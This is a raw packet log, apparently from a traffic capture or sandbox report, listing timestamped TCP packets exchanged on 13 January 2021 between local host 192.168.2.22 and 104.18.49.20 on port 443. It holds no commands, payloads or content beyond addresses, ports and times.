Jan 13, 2021 13:44:41.412868977 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.412908077 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.412971020 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.413253069 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413580894 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413609982 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413641930 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413667917 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.413706064 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413733006 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.413738012 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.413909912 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.414357901 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.414509058 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.414853096 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.414875031 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.415240049 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.415250063 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.415642977 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.415664911 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.416609049 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.416630030 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.416647911 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.416784048 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.416816950 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.417062044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.417522907 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.417697906 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.417722940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.417784929 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.418353081 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.418376923 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.418761969 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.418911934 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.418941975 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.418968916 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.418994904 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.419009924 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.419110060 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.419147968 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.419256926 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.419667006 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.419708014 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.419816971 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.420526028 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.422785997 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.422808886 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423551083 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423571110 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423585892 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.423788071 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423809052 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423826933 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.423844099 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.423851967 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.424078941 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.424165964 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.424305916 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.424464941 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.425076008 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.425192118 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.425275087 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.425967932 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.425991058 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.426176071 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.426347017 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.426369905 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.426712036 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.427119970 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.427141905 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.427345991 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.427886009 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.427907944 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428071022 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.428524017 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428544044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428592920 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.428916931 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428939104 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428957939 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428976059 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.428988934 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.429032087 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.429275990 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.429297924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.429348946 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.429840088 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.429963112 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.430217028 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.433090925 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.433115959 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.433268070 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.433429003 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.433449984 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.433552980 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.434256077 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.434288025 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.434305906 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.434329987 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.434380054 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.434393883 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.434771061 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.434797049 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.435478926 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.435617924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.435652018 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.435867071 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.435895920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.435928106 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.436778069 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.436809063 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.436889887 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.437150955 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.437273026 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.437315941 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.437920094 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.437947035 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.438368082 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.438684940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.438713074 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439066887 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.439201117 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439234972 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439332962 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439363003 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439388990 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439410925 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.439420938 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.439691067 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.439956903 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.440076113 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.441504002 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.443025112 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.443054914 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.443789005 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.443905115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.443943977 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.444422960 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444451094 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444477081 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444536924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444572926 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.444681883 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444710970 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444756985 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.444814920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.444967031 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.445595980 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.445708990 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.445744991 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.445791006 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.446752071 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.446789980 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.446825027 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.446861982 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.447644949 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.447694063 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.448014975 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.448052883 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.448376894 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.448808908 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.448847055 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.448879957 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.448982000 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.449733019 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.449769974 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.449978113 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.450016975 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.450898886 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.450934887 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.450969934 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.450999975 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.451607943 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.451647043 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.451683044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.451684952 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.451973915 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.452647924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.452685118 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.452719927 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.452801943 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.453434944 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.453471899 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.453505039 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.453542948 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.453963041 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.453999043 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.454252958 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.454284906 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.454297066 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.454334974 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.454371929 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.454468012 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.454996109 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.455037117 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.455085039 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.455285072 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.458547115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.458590984 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.458626032 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459125996 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.459383011 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459424019 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459462881 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459498882 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459532022 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.459536076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.459727049 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491230965 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491290092 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491329908 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491367102 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491389990 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491415024 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491449118 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491478920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491517067 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491564989 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491565943 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491607904 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491636038 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491647005 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491686106 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491720915 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491724968 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491763115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491801023 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491837025 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491842985 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.491883993 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491926908 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491962910 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.491965055 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492002964 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492041111 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492069960 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492078066 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492116928 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492155075 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492192984 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492203951 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492245913 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492284060 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492285967 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492322922 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492357016 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492362022 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492403984 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492629051 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492671013 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492707014 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492711067 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492744923 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.492777109 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.492862940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.493164062 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.493166924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494199038 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494236946 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494282007 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494318962 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.494323969 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494360924 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494400978 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494553089 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.494951963 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.494988918 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495034933 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495076895 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495112896 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495112896 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.495202065 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495234013 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.495801926 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495841026 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495874882 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495876074 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.495913029 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495946884 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.495949984 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.495999098 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496031046 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496042013 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496237993 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496278048 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496512890 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496555090 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496589899 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496591091 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496629000 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496661901 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496665955 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496712923 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496747017 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496757030 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496794939 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496824980 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496831894 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496869087 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496900082 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496906042 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496942997 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.496973991 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.496978998 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497026920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497059107 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.497067928 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497107029 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497138977 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.497275114 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497317076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497351885 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.497584105 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497623920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497659922 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.497659922 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497699022 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.497730017 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.497745037 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498128891 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498162031 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.498428106 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498465061 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498501062 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498522997 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.498538017 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498570919 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.498574972 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498615026 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.498644114 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.500859022 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.500899076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.501045942 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.501092911 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.501168966 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.501317978 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.501507044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.501585960 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.501600027 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.501688004 CET	443	49183	104.18.49.20	192.168.2.22
